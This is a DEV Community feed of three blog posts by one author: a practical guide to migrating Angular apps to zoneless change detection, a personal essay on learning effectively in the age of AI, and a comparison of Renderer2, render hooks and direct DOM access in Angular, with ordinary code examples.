DEV Community: Eduard Krivanek

Going Zoneless in Angular: What Actually Breaks

Eduard Krivanek — Sun, 23 Aug 2026 14:44:27 +0000

You know that feeling when you change a value inside a callback and Angular updates the view all by itself? That magic has a name. Zone.js. For years it quietly patched setTimeout, promises, and event listeners so that any async work ended with a change detection pass across the whole app. It worked. Most of the time.

Then you flip on zoneless and a counter that has counted up for three years simply stops. No error. No warning. The number just never moves. That is the exact moment every team hits during the migration. The magic was never free, and once you remove it, you can see precisely where your app was leaning on it.

This post is a practical walkthrough of what breaks when you go zoneless, why it breaks, and the patterns that fix it. No theory for its own sake. Just the things that bite.

What Zone.js did for you

Before you can see what breaks, you need to know what you are removing. Zone.js monkey patched the async APIs of the browser. setTimeout, setInterval, Promise, fetch, XHR, addEventListener. All of them. Angular then watched for the moment the microtask queue emptied and ran change detection over the entire component tree.

The practical result was that you could do almost anything from almost anywhere and the view would eventually catch up. Subscribe to an HTTP call and assign a plain field. Fire a timer and increment a number. Add a raw DOM listener and flip a boolean. It all worked because the global tick always came after you.

That convenience had a cost. Every tick could touch the whole tree, and the triggers were hard to predict. But cost aside, here is the part that matters: your app holds years of code that only renders because of those accidental ticks.

There is a second cost people forget. When a bug appears, the cause is often invisible. You change a value, the view updates, and you have no idea which of the fifty async things in flight actually triggered it. Zone.js made things work without making them understandable, and that debt shows up the moment you try to migrate.

Why Angular is dropping Zone.js

The Angular team did not wake up one morning and decide to break everyone. This has been building for a while. Signals arrived first, and signals do not need a zone, because a write is explicit. The framework also kept paying the tax Zone.js introduced: a third party library schedules a timer, and your whole app gets checked for no reason. As apps grew, the global tick became a cost that was hard to remove while Zone.js was still in charge.

Zoneless is the logical end of the signals direction. The team shipped it as stable in Angular 20 and is steering the ecosystem toward it, with Zone.js now on the path out. That does not mean you must migrate tomorrow. It does mean new code should stop assuming the old magic exists, so the eventual switch is not a surprise.

What replaces it

Zoneless inverts the model. Angular no longer patches anything. Instead it schedules change detection from a small set of known entry points:

template events like (click)
signal writes
AsyncPipe emissions
Angular subsystems like the router, HttpClient, and forms
explicit markForCheck calls

A change detection scheduler queues these updates and coalesces them. Instead of a tick after any async work, you get an update when Angular knows something changed.

When several things change in the same moment, the scheduler does not run change detection once per change. It batches the work and flushes it in a single pass, usually on a microtask or an animation frame. That is why signals and markForCheck scale better than calling detectChanges yourself: the framework can fold ten updates into one render, while a manual detectChanges forces a render every single time you call it.

That is the whole mental model. Angular updates when Angular knows. If you mutate state outside one of those entry points, Angular does not know, and the view does not change. That single sentence explains about ninety percent of what goes wrong.

NgZone does not disappear. It still exists for libraries that need it, and runOutsideAngular still works. What changes is that NgZone no longer drives change detection, so code that waited for the zone to become stable behaves differently.

How the scheduler batches work

One of the easiest ways to understand zoneless is to watch how it batches. Say a single click sets three signals. Under Zone.js you might see several passes. Under zoneless, the three writes mark three small parts of the view dirty, and the scheduler flushes them together in one pass.

The scheduler runs on a microtask by default, or on an animation frame when animations are involved. That detail rarely matters day to day, but it explains two things. First, why a signal write followed by a DOM read in the same tick can still see the old DOM. Second, why sprinkling detectChanges is worse than markForCheck. detectChanges runs synchronously and right now, while markForCheck just marks the view and lets the scheduler decide when to flush.

The practical takeaway is simple. Prefer signals and markForCheck, let the scheduler do its job, and only reach for a synchronous detectChanges when a test or a very specific imperative path truly needs it.

How to turn it on

Turning it on is small. Add the provider at bootstrap and remove zone.js from your polyfills:

import { bootstrapApplication } from '@angular/platform-browser';
import { provideZonelessChangeDetection } from '@angular/core';
import { AppComponent } from './app/app.component';

bootstrapApplication(AppComponent, {
  providers: [provideZonelessChangeDetection()],
});

The API name changed while the feature matured. Older versions exposed provideExperimentalZonelessChangeDetection. On current Angular the provider is provideZonelessChangeDetection, and it is stable. Angular also ships a migration schematic to handle the mechanical parts for you, so you do not have to do this by hand.

Do the bootstrap change and the polyfill removal together. If you remove the polyfill but forget the provider, change detection never runs. If you add the provider but keep the polyfill, you are still shipping zone.js for nothing.

Patterns that just work

Before the breakages, it helps to know what keeps working, because these are the patterns you should move toward:

Signals for local state. A signal write is always noticed, so anything you can express as a signal is safe.
AsyncPipe for streams. Bind the observable directly and Angular handles the subscription and the refresh for you.
Template event bindings. A (click) handler marks the view dirty, so plain fields updated inside a handler still render.
The router, HttpClient, and forms. These are Angular managed, so their updates flow through the scheduler.

If a piece of state can be a signal or an AsyncPipe binding, make it that. The fewer plain fields you mutate from callbacks, the fewer surprises the migration will have.

What actually breaks

Here are the breakages I see most often, in roughly the order they appear.

Timers and promises that set plain fields

The first thing to break is usually a timer. Here is the classic example:

count = 0;

ngOnInit() {
  setInterval(() => this.count++, 1000);
}

This counted up under Zone.js. Under zoneless it sits at zero forever. The callback runs and the field changes, but nobody tells Angular. The fix is a signal, because a signal write is an entry point:

count = signal(0);

ngOnInit() {
  setInterval(() => this.count.update(c => c + 1), 1000);
}

If you cannot convert to a signal yet, call markForCheck after the mutation:

private cdr = inject(ChangeDetectorRef);

ngOnInit() {
  setInterval(() => {
    this.count++;
    this.cdr.markForCheck();
  }, 1000);
}

The exact same rule applies to promises. A then block that assigns a plain field no longer refreshes anything. Use a signal or call markForCheck.

This is the breakage that feels the most unfair, because the code looks completely innocent. There is no lint rule that flags it. The view just stops, and the only clue is that a value changed in a callback.

Manual subscriptions

HttpClient still works, but only when you let Angular see the value. This is fine:

data$ = this.http.get<Data>('/api/data');

The AsyncPipe marks the view dirty on every emission. But if you subscribe by hand and assign a plain field, the view goes quiet:

this.http.get<Data>('/api/data').subscribe(d => {
  this.data = d;
  this.cdr.markForCheck();
});

The subscribe callback is not an Angular entry point. The markForCheck at the end is what brings the view back. The cleaner version is toSignal, which turns the stream into a signal and makes every emission explicit.

The same goes for long lived streams like a BehaviorSubject you combine with combineLatest. If the final subscribe writes to a plain field, that field will not render until something else happens to tick the view. toSignal or AsyncPipe removes the whole class of bug.

Raw listeners and third party callbacks

This is the biggest hotspot in a real app. WebSocket messages, postMessage handlers, MutationObserver and ResizeObserver callbacks, chart libraries, analytics SDKs. Anything that calls you back from outside an Angular template binding.

Under Zone.js those callbacks triggered change detection by accident. Under zoneless Angular does not notice them. The fix is the same two options. Write to a signal inside the callback:

data = signal<string | null>(null);

connect(ws: WebSocket) {
  ws.onmessage = (ev) => {
    this.data.set(ev.data);
  };
}

Or end the callback with markForCheck if you are not ready to refactor. The same applies to browser observers. A ResizeObserver that sets a plain field will not refresh anything until you write to a signal or call markForCheck. I hit this exact case with a chart that measured its container, and the fix was one signal write inside the observer callback.

One thing to watch: teardown. Zone removal does not create leaks, but it does remove the incidental stability you may have leaned on, so make sure you unsubscribe and complete your streams.

In place mutations with OnPush

Zoneless pushes you toward OnPush as the default. That is a good thing, but it resurfaces an old trap. If you mutate a value in place, Angular may never see it.

With a signal, pushing into the inner array mutates the array without writing the signal, so nothing notifies:

items = signal<string[]>([]);

add(item: string) {
  this.items().push(item); // the signal never notifies
}

Write a new value instead:

add(item: string) {
  this.items.update(list => [...list, item]);
}

The same trap exists with plain arrays under OnPush. If the reference does not change, the input comparison sees nothing new. Return a new array or call markForCheck.

The same logic applies to objects. If you mutate a property on an object that OnPush already compared, the reference is the same and the view will not know. New object, new array, or a signal write. Pick one and stay consistent.

Your tests

Zone removal is most visible in the test suite, because a lot of the old helpers were built on Zone.js:

fakeAsync and tick
flush and flushMicrotasks
waitForAsync
fixture.whenStable

In a fully zoneless setup, fakeAsync can break because there is no zone to intercept the timers. The reliable path is async and await with explicit fake timers, plus your own detectChanges calls:

it('updates after a timer', () => {
  jest.useFakeTimers();
  const fixture = TestBed.createComponent(CounterComponent);
  fixture.detectChanges();

  jest.advanceTimersByTime(1000);
  fixture.detectChanges();

  expect(fixture.nativeElement.textContent).toContain('Count: 1');
});

If you used whenStable to wait for the app to settle, note that without a zone the idea of stable changes. In many zoneless setups whenStable resolves quickly or behaves differently than you remember. The more predictable habit is to call detectChanges explicitly and mock time with fake timers, so your assertion waits on data, not on a framework notion of idle.

The same logic applies to fakeAsync. It worked by intercepting the zone, and without a zone there is nothing to intercept. Some setups still make it work by providing a zone only for tests, but that recreates the exact gap you are trying to close. Running the suite zoneless, with plain async and fake timers, keeps production and CI on the same page.

The trap to avoid: if you keep Zone.js in tests but remove it in production, Zone masks the missing markForCheck calls. Run at least part of your CI zoneless so the tests see the same world as production.

Web components and custom elements

If you use custom elements, events emitted outside Angular template bindings may not mark views dirty. The rule is the same. Wire the event through an Angular binding, or call markForCheck in the callback. Direct DOM changes do not need change detection, but component state updates from a MutationObserver or ResizeObserver do.

Libraries that assume Zone.js

Some older libraries import zone.js or rely on its patched globals. Validate them early. If a chart or an SDK stops rendering after the migration, it is usually because it was leaning on the global tick. Wrap its callbacks in signals or markForCheck, or find a zoneless compatible build.

How to migrate without breaking everything

Here is the order I would use on a real project:

Audit for incidental ticks. Search for setTimeout, setInterval, requestAnimationFrame, raw addEventListener, WebSocket, and SDK callbacks that mutate component fields.
Make reactivity explicit. Convert local state to signals. Convert subscriptions to AsyncPipe or toSignal.
Standardize manual notification. For anything you cannot convert, end the callback with markForCheck.
Enable zoneless at bootstrap and remove zone.js from polyfills.
Fix the tests last, with fake timers and explicit detectChanges calls.

A real migration, feature by feature

Let me make this concrete with a feature most apps have: a dashboard that polls the server.

The old component looked roughly like this. A plain field held the data, and ngOnInit called a service that set the field inside a setInterval callback. Zone.js made it render. Under zoneless it renders nothing, because the callback is not an Angular entry point.

The migration for that one feature goes in three small steps.

First, move the polling state into a signal. The service can still own the timer, but it writes to the signal instead of a plain field. The view updates, and you have removed one incidental dependency.

Second, if the service must stay imperative, have it call markForCheck after each update. That is the escape hatch for code you are not ready to rewrite yet.

Third, look at the tests. Replace any fakeAsync or whenStable wait with fake timers and explicit detectChanges. This is usually where the migration takes the most time, not the components themselves.

Do that for one feature, ship it with Zone.js still enabled, and repeat. Because signals and markForCheck work in both worlds, each feature you convert makes the eventual flip smaller and safer. By the time you remove zone.js, there is almost nothing left to break.

What you win

It is easy to focus on the breakages and forget why you are doing this at all. The wins are real:

Smaller bundles. zone.js is a meaningful chunk of JavaScript you no longer ship.
Predictable updates. A view changes because a signal, an event, or an AsyncPipe said so, not because some timer you forgot about fired.
Better performance. No more full tree passes triggered by unrelated async work. The scheduler coalesces updates and touches only what changed.
One less framework magic trick. New team members can reason about when and why a view updates, which is worth a lot on a growing codebase.
Easier debugging. When a view does not update, the reason is usually obvious: nobody wrote a signal, emitted through AsyncPipe, or called markForCheck.

Trade offs and when not to do it

Zoneless is not free. The main cost is discipline. Every state change now has to be explicit, and if your team is not ready for that, you will ship frozen UI. The other cost is third party risk. Any library that assumed Zone.js becomes your job to wrap.

If you are not in a hurry, the honest path is to keep Zone.js for now and start converting state to signals. Signals work in both worlds, so you can do most of the hard migration before you flip the switch. When the audit shows nothing left leaning on incidental ticks, enabling zoneless is a one line change.

Also avoid the trap of replacing one global tick with many manual detectChanges calls. That can be worse than Zone.js. Prefer signals and markForCheck, which the scheduler can coalesce.

Common mistakes to avoid

A few things I see teams do after the switch that make things worse:

Calling detectChanges everywhere. It is synchronous and easy to abuse. markForCheck schedules the check and lets Angular coalesce it.
Keeping Zone.js in tests while removing it in production. Your tests pass and your users see frozen UI. Run a zoneless CI job.
Converting every field to a signal in one giant refactor. Do it feature by feature, and ship the signal changes while Zone.js is still on, because signals work in both worlds.
Ignoring third party SDKs until the last minute. They are usually the hardest part, so audit them first, not last.

Questions I get asked

Will zoneless make my app faster?

Usually yes, but do not expect magic. The win comes from fewer and smaller change detection passes, plus a smaller bundle once zone.js is gone. The size of the win depends on how much your app relied on the global tick. A huge app with many timers often sees a real improvement. A tiny app might see almost none.

Do I have to rewrite everything to signals first?

No. You can keep plain fields as long as you notify Angular with markForCheck. Signals are the cleaner long term answer, but markForCheck is a valid bridge, and it is exactly what the framework offers for imperative code.

Can I keep Zone.js for a while?

Yes. Zone.js is still supported, and Angular lets you keep it while you convert. The sane path is to convert features while the zone is on, then flip when the audit is clean. You do not have to do it in one weekend.

What about NgZone.run and runOutsideAngular?

They still exist and still work for libraries that need them. The difference is that NgZone no longer drives change detection. Code that waited for the zone to become stable, or that assumed any async work would tick, is the code you need to revisit.

Is this related to OnPush?

Kind of. Zoneless does not force OnPush, but it pushes the same mental model: update when something tells you to, not because a global timer ran. If you are already disciplined with OnPush, signals, and AsyncPipe, the migration will feel easy.

Conclusion

Zoneless does not really break your app. It reveals it. Every frozen counter and silent dropdown is a spot where you were leaning on a global tick you never thought about. The migration is boring in the best way: find the incidental ticks, make the state explicit, and the rest follows.

If you want to start today, audit one feature. Search it for timers and raw listeners. Convert the plain fields to signals. Then flip just that feature and watch it in production for a week. The app wide switch can wait until the audit comes back clean.

Learning in the age of AI

Eduard Krivanek — Wed, 12 Aug 2026 08:58:02 +0000

Learning in Age of AI Feels Like Drowning. Here's How I'm Trying to Swim

I finished university at 24 and thought learning would finally get easier. No exams, no arbitrary deadlines, no professor reading slides from 2009.

Instead, I got internet in its final boss form. Every topic comes with 400 YouTube videos, 30 newsletters, 12 contradictory roadmaps, one guy on X saying books are dead, another saying courses are scams, and ChatGPT ready to answer everything so fast that I sometimes forget to think.

If you're in your twenties, early in your career, and weirdly less motivated to learn than you were during finals week, you're not lazy. You're probably overloaded, under-committed, and stuck in content grazing mode.

That was me.

This is my attempt to explain what changed, what made learning feel empty, and what I am doing now that works better than collecting bookmarks like I am building digital bunker for some future version of myself who suddenly becomes disciplined.

What learning in age of AI actually feels like

People keep saying AI has made learning easier.

Technically, sure. Explanations are cheaper. Summaries are instant. Boilerplate is free. If you want quick entry into almost any field, you can get it in 30 seconds.

But easier access has not produced clearer direction.

It has produced more tabs.

When I was in university, learning had structure even when structure was stupid. Someone told me what chapter mattered, when test was, what counted as enough. I complained about it constantly.

Now nobody stops me from learning anything. Which sounds liberating until you realize nobody tells you what to ignore either.

That is real tax of AI age for people like me. Not lack of information. Lack of stopping points.

I can ask AI to build me reading list for distributed systems, explain memory management like I am five, compare five frameworks, quiz me on syntax, and generate practice projects before I finish coffee.

I can do all that and still end day feeling like I learned nothing durable.

Because consuming explanations is not same thing as building capability.

Why endless educational content kills motivation

I used to think motivation disappeared because attention spans got worse. That is part of it, but not main part.

Main problem is that modern learning systems are optimized to keep you circulating, not progressing.

YouTube wants next video watched. Course platforms want next module opened. Newsletters want next issue read. AI tools want next prompt typed. None of them are designed around one uncomfortable question: what can you do now that you could not do two weeks ago?

That question is rude. It is also useful.

Most content makes me feel adjacent to competence. That is dangerous feeling because it looks enough like progress to let me off hook.

I know this pattern too well:

I decide to learn something concrete, maybe system design, SQL optimization, or statistics.
I search for best resources.
I compare resources for so long that resource selection becomes project.
I ask AI to summarize differences.
I feel productive because document exists.
I do not actually practice hard part.

That cycle is not learning.

It is pre-learning cosplay.

AI makes this worse because it removes friction from preparation. Preparation used to take time, which occasionally forced commitment. Now I can generate perfect study plan in seconds, ignore it, then generate slightly better study plan tomorrow.

I have done this enough times to respect ugly truth: abundance does not motivate. Constraint does.

What AI is good at for learning, and where it quietly sabotages you

AI is useful for learning. I am not interested in fake purist takes where real education only happens with dusty textbooks and suffering.

I use AI constantly.

I use it to translate jargon into normal language. I use it to generate examples when docs are too abstract. I use it to quiz me. I use it to critique drafts. I use it to help me get unstuck when I am blocked for long enough that frustration starts pretending to be principle.

That part is great.

Problem starts when AI becomes substitute for wrestling with confusion.

Confusion feels inefficient, but confusion is often where learning is happening. If I ask for answer too early, I borrow clarity without building it.

This is where AI quietly sabotages me. Not because answer is wrong. Because answer arrives before I have earned question.

When that happens, I get smooth explanation and weak memory.

I recognize concept when I see it again, which feels comforting, but recognition is cheap. Recall is expensive. Application is where invoices show up.

There is also ego trap. AI lets me sound smarter than I am. It helps produce code, notes, summaries, and opinions polished enough to pass casual inspection.

But polished output can hide shallow understanding, especially from person producing it.

Nothing is more humbling than explaining concept confidently, then freezing when tiny detail changes.

If AI gives me finished thought too early, I become editor of understanding instead of builder of it.

What changed after university, and why learning feels emotionally harder now

University gave me artificial urgency. Career gives me ambient anxiety.

Those are not same fuel source.

In school, target was obvious even when subject was boring. Pass exam. Finish paper. Graduate. There was scoreboard, schedule, and social proof because everyone around me was also trapped in same machine.

Now learning is tied to fuzzier questions.

Am I falling behind?

Should I learn what is useful now or what might matter in three years?

Do I go broader because world is changing fast, or narrower because specialization still wins?

Is this curiosity, career strategy, or panic wearing glasses?

That emotional uncertainty matters more than most productivity advice admits.

A lot of us are not failing to learn because we lack discipline. We are failing because we do not trust our direction, so we keep reopening decision instead of paying cost of commitment.

This is why motivation feels unstable. Motivation hates unresolved scope.

When path is undefined, every study session starts with existential admin.

What finally helped me: fewer inputs, more proof

I did not need better motivation hack.

I needed smaller learning system.

These are changes that helped most.

Pick one skill with labor market value, not ten interesting topics

For long time I organized learning around interest. That sounds noble. It was mostly avoidance.

Interest matters, but interest without selection becomes drift.

What worked better was picking one skill that compounds professionally and then letting curiosity live inside that boundary.

Not "learn AI."

Something like:

write better SQL for real datasets
debug production systems faster
become competent at TypeScript in large codebases
understand statistics well enough to stop misreading experiments

This matters because vague learning goals create vague stopping conditions.

Specific skill creates tension. Tension creates action.

Once I chose one direction, random content got easier to reject. That felt almost suspiciously powerful.

Build learning around outputs that can embarrass you

This changed everything.

Private notes are too forgiving. Highlights are too forgiving. AI chats are extremely forgiving.

Outputs with consequences work better.

By consequences, I do not mean public humiliation ritual. I mean artifact that reveals whether understanding is real.

Good examples:

write short explanation from memory without looking anything up
solve problem on blank page
build tiny project with self-imposed constraints
teach friend one concept clearly
review real code and justify every suggestion
recreate idea from scratch three days later

If result can expose confusion, it can teach.

If result only makes me feel organized, it probably cannot.

I have learned more from trying to explain one difficult idea badly than from reading ten polished explainers about it.

Painful. Useful. Annoyingly correlated.

Use AI late in cycle, not early

This is most practical rule I have.

I try to touch problem myself before asking AI to help. Even 15 minutes changes quality of interaction.

Instead of saying, "Teach me this topic," I now do something closer to this:

Read primary source, docs, chapter, paper, or problem statement.
Write what I think is happening in my own words.
Attempt solution or explanation.
Mark exact point where understanding breaks.
Ask AI narrow question about that break.

This keeps AI in role of tutor, not ventriloquist.

Difference is subtle but huge. If I ask broad question too soon, AI gives polished abstraction. If I ask after failing specifically, answer attaches to something real in my head.

That is sticky learning.

I also ask AI to challenge me more often now.

Useful prompts look like this:

"Here is my explanation. Where am I hand-waving?"
"Give me counterexample that breaks my mental model."
"Quiz me on this without multiple choice."
"What would experienced engineer criticize in this approach?"
"Do not solve it yet. Narrow my search space."

Those prompts create resistance.

Resistance is annoying. Resistance is also where memory comes from.

Stop optimizing resource stack

I had period where I treated learning like infrastructure project.

Obsidian vault. Read-it-later app. Highlight sync. Folder taxonomy. Tagging strategy. Saved prompts. Course spreadsheet. Ranking matrix for educational YouTube channels. Probably one step away from procurement process.

Very little of that moved needle.

I do not think tools are useless. I think they become procrastination when system is prettier than output.

Now my rule is simple:

one primary resource
one place for notes
one recurring output format
one review cadence

That is enough.

Anything more has to justify itself by improving recall or application, not aesthetics.

My old systems looked impressive. They were also graveyards.

Make peace with missing out on useful knowledge

This part bothered me most.

I wanted complete map before committing. I wanted confidence that I was learning right thing, from right source, in right order.

That mindset is understandable. It is also impossible now.

There is too much good material. Not too much material, too much good material. That makes decision harder because options are not obviously bad.

You will skip valuable books. Miss important papers. Ignore smart people. Start with imperfect resource. Learn one abstraction before another. That is normal.

If you cannot tolerate that, you stay in comparison loop forever.

Maturity here is not finding perfect path.

It is accepting that learning anything meaningful requires deliberate ignorance of other worthy things.

That is not failure. That is price of depth.

What I do now during typical week

Nothing here is glamorous. That is point.

I try to keep weekly learning loop boring enough to repeat.

Monday: define one concrete question

Not broad domain. One question.

Examples:

Why does this query slow down as data shape changes?
What problem do indexes actually solve in practice?
How does event loop behavior show up in real debugging?

If question is too large, week disappears into intake.

Midweek: struggle in public or at least on paper

I write rough explanation, build toy example, or attempt problem with no AI help for first pass.

This part feels worst.

Which is usually sign that it is doing something.

Then: use AI as reviewer, not ghostwriter

After first attempt, I ask for critique, missing edge cases, alternative mental models, or practice prompts.

I do not ask for nice summary unless I am comparing my understanding to it.

End of week: produce one artifact

Small post. Cheat sheet from memory. Mini demo. Debugging note. Flash explanations. Anything that leaves residue.

If week ends with only consumed content, I count it as partial at best.

That sounds strict.

It is less strict than spending six months feeling vaguely guilty.

What did not work for me

Some advice sounds good and failed hard in practice.

"Follow your curiosity"

Good for wandering. Bad for compounding skill when attention already fragmented.

Curiosity needs fences or it becomes browser behavior.

"Use AI to personalize your learning"

Usually translated into endless plan generation.

Personalization matters less than repetition, recall, and feedback. Fancy custom curriculum cannot save low contact hours with actual difficulty.

"Learn in public"

Helpful for some people. For me, it became performance trap when used too early.

Posting half-formed ideas can force clarity.

It can also reward presentation before comprehension. I prefer private struggle first, public artifact second.

"Just stay consistent"

True, but incomplete.

Consistency with bad loop still produces disappointment on schedule.

You need feedback from reality, not only streak counter.

Known limitations of this approach

This is not universal system.

If you are learning for credential, exam, or tightly structured interview pipeline, you may need more coverage and less wandering than I describe here.

If you are burned out, problem may not be learning strategy at all. It may be exhaustion wearing productivity costume.

If you are financially stressed, advice about curiosity and depth can sound a little romantic. Fair enough. Sometimes most rational learning plan is direct employability, not intellectual elegance.

Also, AI genuinely can accelerate beginners when used well. I am not arguing for unnecessary suffering. I am arguing against outsourcing too much cognition too early.

That distinction matters.

What learning in age of AI should probably become

I do not think valuable learners of next decade will be people who memorize most raw information.

AI already humiliates that strategy.

I think valuable learners will be people who can do four things reliably:

decide what matters
frame good questions
test understanding against reality
stay with problem long enough to build original judgment

That fourth one feels endangered.

AI is incredible at giving shape to blank page. It is much worse at deciding what is worth caring about in first place. It can accelerate path, but it cannot choose meaningful direction for you without borrowing someone else's priorities.

That part is still human work.

Annoying, inconvenient, non-automatable human work.

Which is probably why it matters.

If you're 25 and feel behind, start here

This is short version I wish someone had handed me after graduation.

1. Choose one marketable skill for next 8 weeks

Not identity overhaul. Not life mission. One skill with visible payoff.

2. Pick one main resource and ignore rest

You can be wrong and still make progress faster than person comparing forever.

3. Use AI after first attempt

Get confused on your own first. Then ask better question.

4. Produce one artifact every week

If nothing remains at end, learning probably evaporated too.

5. Review what you can do, not what you consumed

Bookmarks are not competence. Summaries are not competence. Familiarity is not competence.

That distinction hurts a little.

It also clears room for actual progress.

FAQ: learning in age of AI

Is AI making students and graduates less motivated to learn?

Sometimes, yes. AI can reduce friction so much that people consume polished answers instead of building understanding. Motivation drops when learning turns into passive intake without clear proof of progress.

How should you use AI without becoming dependent on it?

Use AI after first attempt, not before. Let it critique your thinking, generate practice, or explain exact sticking point. Do not let it replace initial struggle with problem.

What is best way to learn when there is too much content online?

Choose one concrete skill, one primary resource, and one weekly output. Too much content becomes manageable when you create strict selection criteria and ignore most of what is available.

Why does learning after university feel harder?

Because structure disappears. University gives deadlines, scope, and shared expectations. After graduation, you need to choose direction, pace, and definition of enough on your own, which is emotionally harder than most people admit.

Closing: less content, more contact

I still use AI almost every day.

But I trust it more as sparring partner than source of certainty.

If learning feels dead lately, I would not assume you have lost curiosity. You may have lost contact with difficulty, consequence, and direction.

So cut inputs. Pick something useful. Try before asking. Make artifact before moving on.

That is less exciting than building perfect learning dashboard.

It is also first thing that made me feel like I was actually learning again.

Renderer2 vs render hooks vs direct DOM access in Angular

Eduard Krivanek — Wed, 17 Jun 2026 17:49:22 +0000

Every Angular developer eventually gets here. You build a nice clean component, everything looks reactive and predictable, and then suddenly you need to touch the DOM. Maybe you need to focus an input. Maybe measure an element. Maybe wire up a third party library. Maybe update something after the view is rendered.

And this is usually the moment where the code starts getting weird. For a long time, Renderer2 was the answer people repeated almost automatically. If you need DOM manipulation, use Renderer2. That advice was not wrong, but it was also not complete. Angular has changed a lot. Today we also have render hooks like afterNextRender and afterRenderEffect, and in some cases direct DOM access is completely reasonable. So the real question is no longer which API exists. The real question is which one you should choose for the job in front of you. That is what I want to break down here.

Why this topic matters more now. I think a lot of Angular codebases still carry old advice without revisiting whether it still makes sense. That is how teams slowly accumulate small architectural mistakes.

You see things like this: business logic hiding inside DOM callbacks, browser only code mixed into components that should work with SSR, Renderer2 used for things that only need a simple read after render direct nativeElement access scattered everywhere because it felt faster in the moment

None of these choices will instantly destroy your app. That is exactly why they are dangerous. They quietly make the codebase harder to reason about. So let’s go tool by tool.. Renderer2 is Angular’s abstraction for interacting with the DOM in a framework friendly way. It gives you methods for setting attributes, adding classes, listening to events, and creating or removing elements.

In older Angular discussions, Renderer2 was often presented as the safe option. And to be fair, it still has a place. I usually think about Renderer2 as a write oriented tool. If I need Angular controlled DOM updates and I want to avoid writing directly to nativeElement.style or nativeElement.classList, Renderer2 is a reasonable fit. A simple example could look like this:

import { Component, ElementRef, Renderer2, inject, viewChild } from '@angular/core';

@Component({
  selector: 'app-demo',
  template: `<div #box>Demo</div>`
})
export class DemoComponent {
  private readonly renderer = inject(Renderer2);
  protected readonly box = viewChild<ElementRef<HTMLDivElement>>('box');

  highlight(): void {
    const element = this.box()?.nativeElement;
    if (!element) {
      return;
    }

    this.renderer.addClass(element, 'is-active');
    this.renderer.setStyle(element, 'color', 'tomato');
  }
}

This is clear enough. Angular knows you are intentionally updating the DOM. The code is explicit. But here is where I think people overuse it.

If your goal is just to wait until rendering is done so you can read layout information or focus an element, Renderer2 is not really solving the core problem. It only gives you a way to perform DOM operations. It does not answer the timing question. That is where render hooks feel much better.. afterNextRender is one of those APIs that immediately makes sense once you use it in a real component. The use case is simple. You want Angular to finish rendering, then do something once.

import { Component, ElementRef, afterNextRender, viewChild } from '@angular/core';

@Component({
  selector: 'app-search',
  template: `<input #searchInput />`
})
export class SearchComponent {
  protected readonly searchInput = viewChild<ElementRef<HTMLInputElement>>('searchInput');

  constructor() {
    afterNextRender(() => {
      this.searchInput()?.nativeElement.focus();
    });
  }
}

This reads much closer to intent. You are not saying “I want a DOM abstraction.” You are saying “I want this code to run after Angular finishes rendering.”

That is a much better level of abstraction for many modern Angular cases. In my opinion, this is one of the biggest mindset shifts. A lot of DOM related code is not really about DOM mutation. It is about render timing. And once you see that, it becomes hard to go back to older patterns. afterRenderEffect is where things get more interesting.

If afterNextRender is for one time work after rendering, afterRenderEffect is for reactive post render work. It lets you respond after Angular renders and re renders, while still fitting into Angular’s reactive model. This is useful when DOM related logic depends on changing state. For example, imagine a component where an expanded panel changes based on a signal, and after each render you want to scroll the active section into view.

import { Component, ElementRef, signal, afterRenderEffect, viewChildren } from '@angular/core';

@Component({
  selector: 'app-panels',
  template: `
    @for (item of items(); track item.id) {
      <section #panel>{{ item.label }}</section>
    }
  `
})
export class PanelsComponent {
  protected readonly items = signal([
    { id: 1, label: 'One' },
    { id: 2, label: 'Two' }
  ]);

  protected readonly panels = viewChildren<ElementRef<HTMLElement>>('panel');

  constructor() {
    afterRenderEffect(() => {
      const firstPanel = this.panels()[0]?.nativeElement;
      firstPanel?.scrollIntoView({ block: 'nearest' });
    });
  }
}

This kind of API feels much closer to how modern Angular wants you to think. State changes → Angular renders → Then your post render effect runs.

That sequence is clean. It is much easier to reason about than manually trying to stitch together lifecycle timing and raw DOM operations. That said, I would still be careful with it. Just because afterRenderEffect is reactive does not mean it should become your new place for business logic. It is still for render related side effects. Once that boundary gets blurred, the component becomes harder to maintain. Direct DOM access

Now the controversial part. I do think direct DOM access is fine in some cases. Yes, really. If I need to work with a browser only library, a canvas API, a video element, a ResizeObserver, or some very specific low level integration, I do not think forcing Renderer2 into the picture automatically makes the code better. Sometimes nativeElement is just the clearest tool.

import { Component, ElementRef, afterNextRender, viewChild } from '@angular/core';

@Component({
  selector: 'app-chart',
  template: `<canvas #chartCanvas></canvas>`
})
export class ChartComponent {
  protected readonly chartCanvas = viewChild<ElementRef<HTMLCanvasElement>>('chartCanvas');

  constructor() {
    afterNextRender(() => {
      const canvas = this.chartCanvas()?.nativeElement;
      if (!canvas) {
        return;
      }

      const context = canvas.getContext('2d');
      if (!context) {
        return;
      }

      context.fillStyle = 'tomato';
      context.fillRect(10, 10, 120, 40);
    });
  }
}

This is direct. It is readable. It matches the browser API you are integrating with. The problem is not direct DOM access itself. The problem is unmanaged direct DOM access spread across the app with no thought about platform safety or maintainability. That is where people get burned. SSR safety. This is the part people usually oversimplify.

Renderer2 is often described as the safer option, and direct DOM access is often described as dangerous. That is only partially true. The real SSR question is this - Does your code assume a real browser environment at the wrong time? If you touch window, document, or native browser APIs during server rendering, you will have problems. If you run DOM reads and writes only after rendering in the browser, your code is much safer.

That is one reason render hooks are so useful. They help align DOM work with actual render timing. My practical rule is simple.

If the code depends on a browser only API, I keep it behind a clearly browser oriented boundary.
If the code is just a post render interaction, I start with a render hook.
If I need Angular style DOM writes, especially for classes, styles, or listeners, I consider Renderer2.

The decision I use in real projects If I had to reduce this whole topic into one simple decision guide, it would be this:

If I only need to do something after Angular renders once, I use afterNextRender.
If I need reactive post render behavior tied to changing state, I use afterRenderEffect.
If I need framework friendly DOM writes or listeners, I reach for Renderer2.
If I am integrating with a browser API or a third party library, direct DOM access is often fine, but I keep it isolated and intentional.

That last part matters a lot. Intentional code ages much better than defensive code copied from old blog posts. What creates tech debt In my experience, tech debt here comes from three habits. First, using Renderer2 as a default answer without asking what the real problem is.

Second, mixing DOM code with business logic until the component becomes impossible to scan. Third, pretending direct DOM access is always wrong, then hiding the same browser assumptions behind a more “Angular looking” API. A prettier abstraction does not automatically mean a better design.

My honest opinion is that render hooks are the missing piece many Angular developers needed for years. They make a lot of DOM related code feel natural again because they solve the timing problem directly. Renderer2 is still useful, but I no longer see it as the default answer for every DOM related task.

